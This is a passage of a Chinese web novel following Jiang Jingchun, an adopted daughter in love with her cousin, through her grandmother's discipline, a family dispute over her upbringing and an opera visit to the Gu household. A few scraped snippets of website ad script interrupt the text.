她的心思向来不加掩饰,渐渐地,许多人都知道她喜欢顾淮声。 顾淮声那天看她的眼神是那样温柔,她从未曾在旁人那里看过,只此一眼,便叫她整整记了两年。她也是从那日开始异想天开的以为,他待她是不是不一样的。 可是现在看来,显然是她想多了。 那不过是对一个濒死之人的安慰垂爱。 就像今日他会帮她,也不过是因为她是他的表妹。 仅此而已。 他不喜欢她这样的?那他喜欢什么样,她去学就是了。 姜净春看着姜润初,问道:“哥哥,你同表兄亲近,你一定知道他喜欢什么样的人吧。” 姜润初看着她这样,嫌弃道:“喜欢谁也不会喜欢你这样的大小姐。” 姜净春也是病急乱投医,问谁也不该去问他。 小脸一垮,转身就走。 “你往后少去烦他,你越是缠他,他就该越是烦你……” 姜润初见她不曾停步,也不知道是听没听进这话。 姜净春走出了一段距离,姜润初的声音彻底再听不见。 姜润初别的话她或许听不进去,但这句话却被她记到了心里头去。 他说得确实不错,顾淮声不喜欢她,觉得她像个小孩,所以他喜欢听话懂事、成熟,并且不黏人一些的? 那她日日烦他,在他看来,一定有些烦人了。 是了,顾淮声自己重规矩,那想来一定是喜欢守规矩的姑娘。 她越想越是觉得不错。 她好像知道该怎么办了。 * 夜色沉沉降临,月亮已经挂上了树梢,明亮的星星渐渐布满了夜空,清冷的光辉倾洒而下,透过窗棂洒进了堂屋中。 姜净春用过了晚膳之后,便被姜老夫人唤去了荣德堂。 她多少能够猜到祖母来喊她是做些什么。 白日的事情,在旁人那里能算了,可在姜老夫人这里可算不了。 她很严厉,至少对她来说是这样。 姜净春去了荣德堂,里头只有老夫人一个人。 她的母亲起先也想跟过来的,可后来被老夫人身边的嬷嬷强硬拦在了外边,姜夫人怕老夫人要罚她,怎么也不肯离开,后来,还是姜尚书来带人才作罢。 母亲对她很好,打她记事以来就是如此。 生怕她受了一点伤。 老夫人笃信佛教,堂屋中的正中间供奉着一尊慈眉善目的观音像,桌前香火每日不断,现下到了晚间,还没换上新的,半截香火上挂着卷曲蜷缩的烟灰,缭绕的烟香隐隐弥漫。 屋子中一片沉寂,只有老夫人转动手上佛珠的声响。 姜净春坐在下位,有些煎熬,悄悄地打量那阂着眼的祖母,也不知道她是打算什么时候开口。 终于,也不知是过了多久,老夫人终于出声。 姜净春有些分辨不出她的眼睛是合着还是眯着,只听她那略显苍老的声音响起。 “想了这么久,我问你,今日的事情可知错了?” 她将她晾这晾了这么久,原来是让她反思今日发生的事情。 姜净春垂首,声音带着几分闷,她道:“是她先诋毁我的。” 姜老夫人听到她的话,在意料之中。她默了一会,而后缓缓睁开了眼,给她朝观音像的方向使了个眼色。 她道:“看这样子,还是不知错,那便跪下,跪在观音像前,什么时候想明白了,什么时候再站起来。” 姜净春也没再同她犟嘴,祖母不疼她,若犟嘴了只怕会罚得更狠。 她在这些事情上面素会看人眼色。 可老夫人让她认错,她是决计不会认下的。 她起身跪去了观音像前。 她已经坐好了罚跪一夜的打算了。 少女垂眉,端端正正地跪在堂前,脊背挺得厉害,不肯弯折,像是在无声的反抗。 姜老夫人将她的举动尽收眼底,哪里又不知道她心里面在想些什么。 她知道她是心里头还不肯服气,虽然面上不说,可现在梗着脖子,一看便知道还是在怄气。 姜老夫人任她跪着,约莫半个时辰,终见她身形晃了晃。 老夫人又开口问她,“可是累了?” 姜净春摇头,回她,“不累。” 那这便是还不知错。 姜老夫人继续让她跪着。 又过了半个时辰,姜净春的身形晃动了下,那打直的腰终是弯了下来。 姜老夫人又问她,“可认错了?” 姜净春的腰马上又重新挺了起来。 这一举动,快叫老夫人气笑了。 小的时候也不见得这样拧巴,长大了倒成了牛一样的脾气,就是跪昏过去了,只怕是也不见得会低头。 这样的脾气也不知道是同谁那里学来的。 姜净春要同她怄气,却好在老夫人今也不是真想要刁难于她,否则她就算是跪昏了过去,也要继续跪。 老夫人没再逼她认错,却开口道:“你觉着你没错,无非是觉楼家小姐先冒犯你在先,你不过是回击于她,能有何错?” 今日的事情,身边的嬷嬷早就已经同她说明白了。 老人的话在夜晚带着几分轻缓,幽幽缓缓被送进了姜净春的耳中,她又听她道。 “你说她推了你,可有旁人见得?可她说你推了她,所有人都知道了。” “事是做给旁人看的,既已发生她摔下台阶的事,又有谁会去相信你说的话呢。” “你说你没错,可你有证据吗。” 姜净春被老夫人的话质问的哑口无言。 她执拗地不肯认错,可是在旁的人眼中看来就是无理取闹。 她说,“祖母是嫌我给姜家丢脸了吗。” 她的声音听着有些闷 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,跟她拧了一个时辰,跪了一个时辰,都不肯低头,可却在这个时候软了下来。 姜老夫人看着眼前跪着的姜净春,望着她的背影,不知怎地想起了从前的事。 老夫人年轻的时候,受了不少的苦,在南方的那段日子过得太难了,姜老爷死后,她一个人拉扯着三个孩子长大,穿不暖吃不饱。 一碗饭被分成了四分,母子四人,她一个大人却吃得最少。 那个时候饿得太厉害,姜老夫人的胃也就是在那个时候坏了,现在日子好起来了,烂掉了的胃也不曾好,有时候疼得受不了,直倒酸水。 胃疾犯了的时候,老夫人饭吃不下,粥喝不下,窝在房中难受得连泪都止不住流。 旁的小辈,最多也就问候她两回。 可有一次她胃病发作,回了里屋后却见到一丁点大的姜净春端了碗粥在房中等她,她疼得不行,没心思去理会她。 可七八岁点大的小孩,跑到了床边,伸出一双小手给她揉着肚子,她疼得没有好脸色,想要赶她走,可她却就这样执拗地留在这里,看着她喝下了粥才肯离开。 老太太想起来了,这孩子一直都是这样执拗的。 从小到大,皆是如此。 她其实挺喜欢这个小孙女的,旁的小辈惧她怕她,但天冷肚疼时,唯有姜净春愿意往她这个老太婆身上凑。 年纪大了,便总是喜欢去回忆从前的往事。 烛火摇曳,老夫人恍惚回了神来。 姜净春问她,是不是嫌她给姜家丢脸了? 她回道:“我的意思是,下次被人欺负了,打回去可以,背着点人。” 姜净春以为,楼妍妍推了她,她也推了楼妍妍,这便是扯平了。 她被她母亲娇惯得有些不知天高地厚了,以为这世间就是黑白分明的,以为每个人都会站在她的身边,听她的解释。 可实际上呢,总是事与愿违。 姜净春怀疑自己是有些听错了,她错愕地回过了身来,两人的目光撞到一处,老夫人又重复了一遍方才的话。 “人不犯我,我不犯人,人若犯我,自不需再忍。可别人若同你阴着来,你明着打回去,岂不是吃了大亏。” 她的语气虽听不出什么情绪,但姜净春已经明白了她的意思,她麻溜起身,想往她身边去,可却因为跪久了腿麻了摔倒。 老夫人下意识想要起身,但还是忍住。 她看着姜净春踉跄爬了起来,跑来了她的身边。 眼中含笑,可还是不咸不淡轻斥她一句,“没规矩。” 姜净春知她是嘴硬心软,没脸没皮凑到了她的跟前,她说,“祖母,我晓得错了。” 方才还打算往这跪个不死不休,现下嘴脸换得倒快。 姜老夫人看她变脸如翻书,虽是觉着有趣,可还是沉了声道:“这回有你表兄帮你,因世人皆爱重他,可他也不是次次都会帮你。” 姜净春道:“我今日没想给表哥惹麻烦的,我不晓得他会来.......” 她不知道顾淮声今日会来姜家,若知道的话,她便不去打那老舍子马球了。 老夫人却不在意这个,“算得什么麻烦,于你而言天大的事,于他而言,不过尔尔。” 不过是说一句话就能解决的事情,顾淮声不会作壁上观。 虽他待姜净春确实面冷,但心却没那样狠。 不过那又如何?他待她最多却也不过表兄妹之情,再多的,也没有了。 姜老夫人年纪大,看了这么些年,什么看不明白。 她道:“你同你表兄不是一路人。” 一个心思深沉,一个心思浅薄。 怎么能走到一起去。 “祖母也觉得我和表兄没有可能吗?”姜净春仰头问她。 5. 第五章 所有人都这样说,他们都说她和顾淮声没有可能。 在姜净春的心中,祖母同旁人不一样,可是现下就连祖母也这样说。 姜净春不甘心,也不愿意承认。 她或许同她的顾家表兄真没什么可能。 老夫人没有再继续回答她的话,可是看她的眼神显然已经告诉了她答案。 现下夜已深了,姜净春在这里跪了一个时辰,老夫人也在旁边坐了一个时辰,终究是年老体弱,有些撑不住了。 她揉了揉眉心,而后对姜净春道:“这事无甚好说,伏砚喜不喜欢你不是我能说了算。你算是被你母亲宠得没边了,到了嫁人的年纪,却一点规矩全无,往后来我身边,我替她教养教养你个憨皮。” 姜净春有瞬错愕,方才还在说些旁的事,可现下她怎么就说起了这事? 可在回过了神来之后,她却觉得老夫人的话确实不错。 她总不能一辈子都待在母亲的身边,在母亲的身边,她总是将她当作一个长不大的孩子。 祖母虽严厉,但姜净春也挺喜欢她的。 就像方才她说,别人欺负她了,她其实是可以打回去的。 而且......表兄喜欢有规矩的人。 跟着老夫人学规矩没什么不好的。 姜老夫人见她不说话,以为是她不乐意,她拧眉问道:“不肯?” 姜净春垂首道:“母亲会......” 母亲肯定会不高兴的,她肯定不会同意。 “你母亲那处不用担心,我自有法子。况说,只是往后让你来荣德堂,又不是把你送去十万八千里远的地方,怕些什么。” 老夫人的神态看着似有几分疲态,她没有再继续说下去了,道:“太晚了,今日就先回去吧。” 姜净春闻此也没再留,恭身退出。 可在她走后,嘴上说着疲惫的老夫人却又让人唤来了姜净春的父亲,姜南。 因着姜净春待在荣德堂迟迟不归,姜夫人在自己的院子里头发了好一通脾气,姜南方安抚好了姜夫人,本打算歇下,听到了荣德堂来人,马上又起了身,往这处赶来。 他坐在下方的位子上,没有被打搅的不耐,只低眉乖顺问道:“母亲唤我来是为何事。” 姜南在兄妹三人之中年岁最大,为人也最是稳重。姜家当初出事的时候,他已差不多有二十多的年岁,好日子过得最久,书也读得最多,人也最聪慧。 他得中状元之后,便被李婉宁看上,也就是现在的姜夫人,而李婉宁的父亲时任国子监祭酒。后来三妹姜箬又循着儿时的姻亲嫁入了侯府,自此,姜家重振门楣,在京城重新占回了一席之地。 姜南从被弃大臣之子走到如今尚书之位,不可谓之不艰辛,操心至此,如今四十多的年岁,两鬓却已一片斑白。 老夫人问他,“人可是有下落了?” 屋内略带昏暗的光线照得老夫人神色不明,姜南轻抬眼眸,同那双沧桑的眼撞到了一处去。 两人心知肚明她这话是什么意思。 良久,姜南才终于出声,声音带着几分哑。 “她是我的孩子,我自是要寻的。” “我何曾不叫你寻?” 他这样子,倒显得她是拦着他了一样。 她很快又道:“你寻你的,往后把净春放我身边吧,我来看顾她一二,也不至于,到时候让她落个举目无亲的下场。” 她像是在说再寻常不过的事情罢了。 然而这话却不知道是怎么触到了姜南的逆处,他忽眉头紧蹙,似极度不解,“她再怎么也是外人,身上没有我们一丝血,净慧出事后,婉宁将她当做替身,想要从她身上寻得一丝慰藉,这我能够理解。” “可母亲又何故待她如此上心?我便是寻回了自己的孩子,也不会不要她,您何故说话如此难听。” 他向来听老夫人的话,可现在却实在不知道她是如何想的,为何将一个没有干系的人看得比自己的亲生孙女还要重些。 她说姜净春会举目无亲?他又不会做出将她丢去大街上的事来。 姜老夫人冷冷“哼”了一声,“因她生得同净慧有几分相像,当初可是你和你媳妇非要把人抱回来。” 姜南脸色瞬间难看了起来。 老夫人也不想揪着往事不放,她道:“我今日唤你来,非是同你商量,你去同你媳妇说,往后我亲自教她。” 姜南还想要再去争,他道:“不行,婉宁不会答应的。” 老夫人却道:“孩子又不是她的物件,惯子如杀子。从始至终将人当做一只雀儿去养,如今将人养得如此娇纵,再往后你寻回净慧,她还有法子活路?” 真千金回来了,假千金的下场如何会好。 他们一个两个的,都不想给她留退路,老夫人实在看不下眼,才想要趁着人还没被寻回之前,悬崖勒马。 她心意已决,不再同姜南多说,起身往里屋走去。 “此事便这样说好了。” 姜南看老夫人意已决,知道自己拗不过她,终也没有再开口。 他回去同妻子李氏说了这件事情。 李氏知道了以后,当即就闹了起来,若非是姜南拦着,人都要杀去了荣德堂,就好像那老夫人是什么穷凶极恶之徒,要抢走了她的孩子似的。 后来姜南眼看李氏要闹个没完没了,实在没办法了便让人去把姜净春喊了过来。 他当着李氏的面去问姜净春,“可是你自己愿意去祖母那里的?” 在姜南的眼中,姜净春已经被李氏宠坏,如果有什么不随心的事情,她必然会先闹腾起来,既没闹腾,便说明她自己也是愿意去祖母身边的。 他不怎么喜欢自己的这个女儿,甚至说有些厌恶。 或许说是因为一开始就知道这不是自己的孩子,他不像李婉宁那样糊涂,将一个赝品宠成了明珠,又或许是这孩子的品行实在是有些惹人讨厌。 总之,他不喜欢。 姜净春早就猜到母亲会生气,可没想到竟气成这样。 她怕她迁怒祖母,忙道:“祖母说了一嘴,但是我自己要去的。” 可谁知道李氏当即指着她斥道:“我对你还不好吗?你为什么想着离开我......!” 李氏从来不曾大声对她大声说过什么话,无论她犯了什么错,她大多时候就像上回她推了楼妍妍那样,在一旁纵容着她。 可她不过是去祖母身边,受她教养些日子,竟惹得她如此这般。 或许在她的眼中,姜净春就像是一头养不熟的白眼狼,她这样掏心掏肺待她,可她还要去别人身边。 姜净春有些被吓到,脸色都有些发白,她想说,“我不去了,母亲,我不去了还不行吗......” 好在她开口前,姜南先一步让她出了门。 他自己留下来安抚。 “好了,你也听见了的,是她自己要去的……” 他们的声音渐渐消失不见,姜净春落荒而逃似的出了那个屋子。 花云等在门口,却也听到了里头的吵闹声 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,她看着姜净春有些发白的脸色,问道:“小姐,这是发生了什么事?” 姜净春愣愣地看着花云,终于缓回了些神来。 她吞咽了下口水,后知后觉摇头,道:“无事。” 母亲好像真的很疼她,可这疼爱带着近乎偏执的占有,好像她永远不能离开她的视线,否则她就会崩溃失控。 她想,她长大了的,总也不能一直这样跟在母亲的身边,一直被她如此庇佑着。 这样好像有点不大对劲,但不对在哪里,她说不出来。 * 姜净春从那以后就去了老夫人的身边。 一开始的时候,她还有些不大习惯,可是后来,慢慢便好了起来。 老夫人虽然严厉,待她却不算苛责,甚至为了更好的教好她,还拖关系从宫里头寻了位教养嬷嬷来。 这教养嬷嬷大家都唤她“柳嬷嬷”,她同老夫人不大一样,是实打实的铁面冷心之人。 姜净春有些怕她,在她面前循规蹈矩,生怕出了一丝错来。 她在荣德堂的日子,十分听话,即便再累也不会喊一声。 当然,她能如此配合,也是有些自己的私心。 她想,顾表兄不喜欢不守规矩的她,不喜欢小孩子气的她,那她若是守规矩些了,他是不是就会多看她一眼? 士别三日,当刮目相看。 她有些期待下一回见到他,到时候她一定乖乖的,不闹腾。 而李氏那边还在生她的气,甚至就连见也不肯见她了,似是故意同她怄上了气。 她想要用这种方式,将姜净春逼回她的身边。 然而,这个孩子,却比她想得还要狠心一些,竟在荣德堂待了整整十日也不曾回来。 李氏自然而然把气撒到了姜润初的身上。 这日他下值之后,就被她抓过去莫名其妙训斥了一顿,“你妹妹这么些时日不曾回来,你便一点都不在乎吗?” 姜老夫人在荣德堂,而姜家大房在崇明堂,撑死了也不过是从这房去了那房,当初他外出游学,也不见得母亲这样,现下不过十日不见,就拿他来开刀。 他连忙告饶,道:“母亲若是想她,自己去祖母那里寻她就成了,何故来逼我。” 几步路的距离,连一炷香的功夫都没有。 李氏不肯,“为何要我去见她?她个没良心的,却不知道来见我?” 这也不肯,那也不肯,姜润初的头都有些大了。 他无奈扶额,道:“那你究竟是想如何。” 看样子,姜净春这几日忙着学规矩呢,可回不来。 他劝她道:“姜净春这样也不挺好的吗,您总是惯着她做些什么呢。” 在荣德堂这处,她确实是比以往乖觉了许多,不惹事,而且还肯安静学些女红,读些书,这幅样子,就连姜润初都有些意外。 李氏却因这句话生了火,“她想要什么我就给她什么,我待她难道就不好了?我就想她听话些,在我身边好好待着,有什么错?!” 姜润初知道同她说不明白,他干脆闭嘴。两人话不投机半句多,他打算起身离开。 可这时候李氏却忽然开口问她,“你姑母是不是递了帖子过来,她在顾家摆了戏台子,邀我们去?” 经此提醒,姜润初想起了这回事。 他不解道:“问这做甚?” 李氏对她道:“你去跟你妹妹说,说我过几日就要去顾家了。” 她不是喜欢顾淮声吗,若是知道了这个,定能又来缠她。 6. 第六章 姜润初听到这话脑袋更疼,但继续同她说下去,也不过是白费口舌,他起身去了荣德堂。 果不其然,同姜净春说了这事之后,她便往崇明堂回了一趟。 没办法,李氏实在是太懂怎么拿捏她了。 她还没硬个几日,又拜倒在了母上大人的石榴裙下。 不过,晚些的时候还要上教养嬷嬷的课,她还得早去早回。 李氏在傍晚的时候见到了想要见的人。 姜净春站在门口处,探头探脑往里面看,李氏瞥见,冷哼了一声,“我等了你十几日,也不见你回来,现下听说我要去侯府了,倒才愿意屈尊降贵,来看我一看。” 李氏的刻薄在她意料之中,这事实在是她做得有些不厚道,她腆着笑钻进了门,还不待她再开口骂她就扑到了她的怀中,她说,“母亲别这样凶嘛......” 她向来是知道怎么去哄她的,只要她乖乖听她的话,母亲就保管开开心心的。 李氏面色稍霁,斜了她一眼,“你这样没有良心,还回来做些什么?我不想看你。” 姜净春忙道:“母亲别说这样狠心的话,你不想看我,为何还日日派人来问花云我的近况?我都晓得了。再说了,我只是去祖母那里学学规矩而已,我学好了,自然会回来的。您瞧瞧我这些时日都瘦了不少呢,您不心疼吗。” 听到学规矩三字,李氏去看她,果不其然见她的脸小了一圈。 老夫人是出了名的严苛,这段时日,她在那里一定是受了不少的苦。 可李氏还是不肯说些好话,她道:“谁叫你非要去,活该的你。” 姜净春察觉到她语气在渐渐变软,她又说了好些哄人的话,许久过后,她先是保证,学好了规矩之后一定会回来,如此之后,李氏才彻底松了眉头,答应带她一起去了顾家。 * 四月初旬的时候,到了去顾家的日子。 姜净春先是去同祖母告了假,而后便欢欢喜喜和李氏去了往顾家去的马车。 一行人中,除了他们大房母女二人之外,二房的人也在。 姜南升至尚书之位后,搬入尚书府,一共五进三出的院落,他们大房一家住着绰绰有余,于是便让二房的人也搬了进来,现下两家皆住在尚书府中。 姜二爷名叫姜成,比姜南小上个好几岁,当初没能碰上好时候,没过个几年好日子,姜家就被贬谪了,再加上后来姜老夫人全力扶持老大姜南,不大能管顾到姜成,以至于他也没能有什么大的出息,现在也全靠姜南这个吏部尚书的身份,在吏部的衙门里头混了个五品郎中官来当。 姜成娶妻林氏,林氏的门户不大高,若同李婉宁比起来,更是有些不堪说。 或许是因为李氏同林氏两人的气场不大相合,她们之间互相看不上眼。李氏看不上林氏出身,嫌她小门小户,上不得台面,而林氏则怨李氏眼高于顶,鼻孔出气,谁都不放在眼里。 两个夫人不对付,以至于大房同二房之间的关系明里暗里也沾些古怪。 但顾夫人邀人,总也不能只邀大房,而不去邀二房,若是被老夫人知道了,只怕是要不高兴的,所以这回二房的人也在。 老夫人本就因当年只顾着老大,忽略了老二而有所亏欠,如今形事,自然是更顾及他们一些。 姜二夫人林氏的身边跟着她的女儿姜净芳,姜净芳的年纪算起来比姜净春还要小上一岁。 两房的人在出门的时碰了个面,就这样撞了个正着。 “呦,这般凑巧呢,嫂嫂也要往侯府去呢?”林氏先开了口,而后她又看了看一旁的姜净春道:“前些时日还听说咱家的大小姐在老夫人那学规矩呢,听说还喊来了宫里头的嬷嬷呢,本以为真沉住气了,今日怎又贪玩了起来,这样三天打渔两天晒网的可不行啊。” 这林氏张口就是阴阳怪气,李婉宁听得一肚子火,心中骂道这小门小户的人就是这样上不得台面,方想要发作回击,却听一旁的姜净春先开了口。 “劳烦婶婶费心,时间不早了,一会戏要开唱了,你不急你慢慢来,我们先去了。” 说着便不管她做何反应,拉着李氏走了。 这一举动不说李氏惊了,就连林氏母女一时间也都没有反应过来。 以往的时候,姜净春只怕是要跟着她母亲和她一起犟嘴了,那两人脾气都不小,尤其是李氏不舍得吃一点亏,吵起架来,便是没完没了,这样到后头传出去了,即便是他们二房的人先挑的事端,但他们大房的人却没落得好名声。 现下,这姜净春竟学精了。 看来,这老夫人的课果真是没白上。 她心中有了盘算,暗想什么时候把自己的女儿也塞过去。 总不能什么好事都叫他们大房的人占了。 这样,既能学来些好东西,也能亲近亲近老夫人,同她亲近了,总归是没坏处的。 尚书府同侯府离得也不算远,几人不过半个时辰的功夫就到了。 因着方才在姜家门口二夫人林氏故意呛声一事,李氏不愿给她什么好脸色,下了马车后,也不等人,径直往里头去了。 林氏也不稀得理她,自顾自就跟在后头,装个没事人一般。 总之他们两房是积怨已久,李氏不是个能藏得住事的人,喜欢不喜欢都明明白白放在脸上,如此一来,侯府的下人们见多了,也都能明白两房有间隙,只不过都眼观鼻鼻观心,装作不见罢了。 姜净春跟在母亲的身后,难得听话稳重,从始至终都低垂着脑袋,眼睛望着地面,不曾往旁处看一眼。 她今日穿的是浅浅的绿裳,头上没有再像平日那样戴着娇艳的首饰,不似平日那样花枝招展,走到哪里都跟个小孔雀似的,她梳着双垂髻,随着步伐走动,也不会再轻易晃动,面上稍稍精致的妆容,使她比平日更显端庄一些。 她变了许多,可唯一相同的便是,还是和以前一样,好看得不像话。 众人都隐隐约约发觉了姜净春今日的不同之处。 也不知是怎么了,竟变了这样多。 姜净春余光注意到了旁人打量的视线,不过她没放在心上,规矩走着。 却在这时,听到身后传来了姜净芳的惊呼声,“表兄。” 而后是林氏,“伏砚这是刚从外头回来吗?刚好我们要去你母亲那处,一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 起去吗?” 四月初十,顾淮声没上值,想来方才是出去办了什么事情,刚好回来,一行人就撞到了一处。 林氏有些得意,方才看着姜净春那副样子,便觉得她在做戏。姜净春什么德行旁人难道还不清楚吗?装得这样端庄是做些什么。 刚好顾淮声就从外头回来了。以往只要顾淮声出现,她便要蹦蹦跳跳钻到人眼皮子底下,掐着嗓子喊人一声“顾表兄”,生怕他看不到她。 现下,他来了,姜净春一定会原形毕露。 听到林氏的话,顾淮声无甚表情,淡淡地应了一声,没有看林氏母女,视线虚落在前方,不自觉注意到了那个迟迟没有转身的背影上。 以往时候,他的视线不会多余地落在她的身上,也注意不到她。 可是,不知道是从什么时候开始,她就总喜欢强硬闯入他的眼中,不管周围有谁在,不管周围是什么情形,她都死活要凑到他的身边,以至于说,现在她这样堪称一反常态的举动,就这样不知不觉吸引了顾淮声的注意。 从前那个闹腾得不行的小姑娘,今日却安静得不像话。 可他的视线也只是落在正前方,不自觉用余光去看罢了。 他想,自己只是好奇,没有其他的想法。 终于,姜净春转了身来。 姜净春没有少女见到心上人那样的兴奋,端的只有规矩,她的双手按照柳嬷嬷教她的那样,端端正正交叠在身前,朝着顾淮声微微福身。 她缓声道:“表兄万福。” 不同于从前那样甜腻的声音,声音轻轻柔柔,却如和风拂过眉梢,将人的皱眉抚平。 不过这样的变化似乎也没能让顾淮声有什么情绪波动,他的表情从始至终好像都没甚变化。 只是,他的视线终于正大光明落在了她的面前。 才发现,他的表妹,变得简直像另外一个人。 他想起来了,前些时日,她站在他的面前,有些执拗地问他,“表兄你喜欢什么样的人?” 小女孩的心思很好猜,她在他眼中比一张未曾着墨的宣纸还要干净透彻,顾淮声连脑子都不用转就知道姜净春心里在想些什么。 顾淮声喜欢什么样的人,就连他自己都不知道。 可也不知道他是哪处让姜净春产生了这样的误会,竟让她以为自己喜欢这样的人。 不过,他乐得让姜净春误会,这样好歹自己也能清净不少。 耳边不会再有叽叽喳喳个不停的声音了。 他的眼梢似浮现了几分笑意,那双万年寒冰的桃花眼,终于绽出了几分春色。 神仪明秀,朗目疏眉。 姜净春的脑海中不自觉浮上了这几个字。 只是如此,她就不争气地又看痴了眼。 他好像是回了她一句,“表妹万福”。她不知道,她已经什么都听不进去了。 顾淮声迈开步子往里头去了。 她收回了视线,强压住了想要跟上去的动作。 表兄不喜欢她那样。 所以,她不可以再像从前那样了。 不能他走到哪里,她就要跟到哪里。 7. 第七章 戏台子搭在了侯府的后院,临水而建。几人走近,依稀能听见咿咿呀呀的唱戏声,有些许热闹。时辰还早,他们是用过午膳才出来的,清风拂过,水波荡漾,日光照在水面,隐约泛着波光。 顾夫人已经坐在这处等着他们了,见人来了便起身相迎。 “嫂嫂们终于来了。” 本以为只是来了姜家的人,却不想顾淮声竟也跟着一起来了。 她微微错愕,不禁问道:“伏砚,你怎么跟着舅母们一同来了?” 顾淮声还没来得及开口解释,一旁的姜二夫人林氏就先开了口,她热切道:“方恰好撞见伏砚从外头回来呢,便一同来了。” 顾夫人点头,算是明白,她扭头看向坐在旁边玩弄耍具的二子顾淮朗,道:“小朗,过来行礼。” 顾夫人有两个孩子,顾淮声今二十一岁,而那顾淮朗只有六岁,算起来两人年岁相差都有一轮不止。因着前些时日顾淮朗染了风寒,怕传给了老夫人,就没跟着一起去姜家,现下病好了,便又跟回了顾夫人的身边,见外人也无妨了。 顾淮朗年岁小看不明白戏,就自己坐在一旁扒拉着孔明锁玩。 他生得同顾夫人不像,同他父亲顾侯爷也不像,偏偏最像那个不和他亲近的兄长,一大一小,跟从一个模子里头刻出来的一样。 顾淮朗听到了顾夫人的话,走到几人面前行礼,颇为乖顺地喊着“舅母”、“表姐”,而碰到了顾淮声,他便有些不大想要同他说话,直到顾夫人用眼神“威逼”了他,顾淮朗才不情不愿地走到了顾淮声面前喊他一声“阿兄。” 顾淮声看他一眼,也没甚同他计较的意思,“嗯”了一声,便移开了眼。 顾夫人招着人入了座。 今日来的两位姜家夫人虽是自家人,可也算是客,两人一左一右坐在了顾夫人的身边,姜净春和姜净芳则坐在自己母亲旁边,顾淮朗坐在顾夫人面前的小凳子上。 因着姜净芳旁边的空位离得近,顾淮声往那处走去,可就在他要撩袍坐下之时,有一道声音传来,“表兄坐我这吧。” 话语之中,隐约还带着几分急切,像是生怕自己什么东西要被人抢走了一样。声音有些响,盖过了戏子咿呀的声音传入了顾淮声的耳中。 众人皆向说话的姜净春看去。 没办法,姜净春实在是看不了顾淮声同姜净芳坐在一起,她好不容易来趟顾家,就是为了多瞧瞧他的。 他离她那么远的话,她还怎么看呢? 看着众人疑惑的眼神,还有顾淮声微蹙的眉,姜净春意识到自己现在的举动非常奇怪。虽然她以前总是喜欢做这样有些不合规矩的事,例如非要顾淮声来陪她坐,可是现在不行,她还想在顾淮声面前规矩些。 林氏在心中讥讽,方才在门口那处还能装呢,不过那么一会,就露了原型。 姜净芳自看不惯她这幅做派,好似这顾淮声是她一个人的似了,想要这般厚颜无耻将人占为己有,她直接道:“表兄他乐意坐哪就坐哪,你管得着吗。” 姜净春没有理会姜净芳的讽刺,她怕顾淮声要拒绝,忙解释道:“我这些时日在祖母那里学了点茶,听闻表兄对茶道也颇为精通,便想叫你尝尝,我没有旁的意思.......” 语气有些许急,生怕顾淮声会误会她。 她什么意思全在脸上,现下竟还说没有旁的意思。 爱撒谎的小孩。 可最后,他还是答应了她。他的唇角似乎有上扬的弧度,不过,很淡很淡,几乎察觉不到,只见他扭头对下人吩咐道:“拿套茶具来。” 而后,他坐到了姜净春的身旁,从始至终那纤尘不染的眼神就那样落在面前的戏台上,似是在心无旁骛地听着戏。 两人坐得有些近了,中间只隔着一张小方桌,不知是不是姜净春的错觉,竟好像隐隐约约有血腥气。 她只当自己闻错,没有多想,而后待茶具被拿来之时,安安静静开始弄起了茶。 一开始他们都还以为她是在说玩笑,没想到看她的碾茶的动作倒还真有几分娴熟。看来,这段时日她在老夫人身边果真学了许多的东西。 姜净春安分的做着事情,从李氏的方向,只能见到她那认真的侧脸上,她沉默不语地看着她,却也不知道是在想些什么。 她的孩子好像真的长大了。 或许,在很早之前就长大了。 可这股感觉并没让她有多好受,她还是喜欢她像从前那样,什么都不会,可以一直跟在她的身边。 在她思绪万千之际,身旁传来了顾夫人的声音,她问道:“两位嫂嫂觉着今日这出戏如何呢?” 李氏回了神去听戏,只片刻她就听出了些许不寻常来,“阿箬,你这戏班子是从何处寻来的?倒是厉害。” 李氏毕竟出身高门,高门中消遣的富贵玩样多,她的眼界自是高些,一听便明白了顾夫人为何会去问这样的话。 前些年间,人们大多喜欢听昆山腔,可后来,出了位了不得的人,将这腔调做了改革,变得更加低回婉转,抓人耳目,这新改出来的腔调,人称“水墨腔”,一时间风靡起来,传遍了大江南北,时下贵人们都爱听。 顾夫人道:“这台班子可是魏先生亲自调出来的,专从太仓那边花了大价钱寻来,旁人唱的可都比不上他们呢。” 林氏将才在旁边听了半天也不曾听出有什么不对劲来,现下听了顾夫人的话倒才明白是何意思。 她干笑了附和两声,“还是夫人有情调,听的戏班子都是顶好的。” 本是捧人的话,可这般说出来,听着便带了几分酸气。 果不其然,顾夫人的脸色难看了些许,一旁的李氏抿了口茶,不咸不淡道:“若谁都同你一样,那也是完了。” 林氏听了气得面色发白,当即想要发作,却先一步被顾夫人打断。 她淡声道:“过些时日就是母亲的六十大寿,这台班子是想着送去给母亲的,今日找来嫂嫂们,也是想听听看合不合适,若不合适,我便让伏砚去帮我寻新的来。既嫂嫂们觉着不错,那到时候我就遣人送去姜家。” 原是此等缘故。 也难怪顾淮声会跟着一起来,不然,凭他的性子,应当是不喜这些吹拉弹唱之物的。 姜老夫人的六十大寿在四月十八。 六十是个大关头,必须要重视大办,这些日子李氏也一直在操持此事,忙上忙下。 姜净春没注意到那几人的谈话,戏台上那婉转动听的水墨调她也听不进去,只神色专注地研着手上的茶,她认真的时候,一双圆滚的眼睛都有些许亮堂,像是在做着什么了不得的大事。 她好不容易学会了这些,自然是想在表兄面前表现表现的。 终于,戏曲过半,姜净春把茶盏推至他的面前,出声唤道:“表兄,我好了,你尝尝。” 顾淮声听到声响,视线从戏台移到了面前的杯盏上。 他默声片刻,也不知是在想些什么。 周遭的声音姜净春都已经听不见了,戏腔从左耳朵进,又从右耳朵挤出,她有些紧张地看着顾淮声。 她看见顾淮声敛袖,而后抬手拿起了面前的杯盏。 修长笔直的手指在杯盏的衬托下更显好看,宛如通体莹润的白玉,依稀能见得净白手背下不停跃的青筋,强烈的张力止不住迸发。 姜净春方想开口询问他这茶如何,可落在他手上的视线却被衣袖的一抹红吸引了过去,口中的话就这样被噎在了喉咙中。 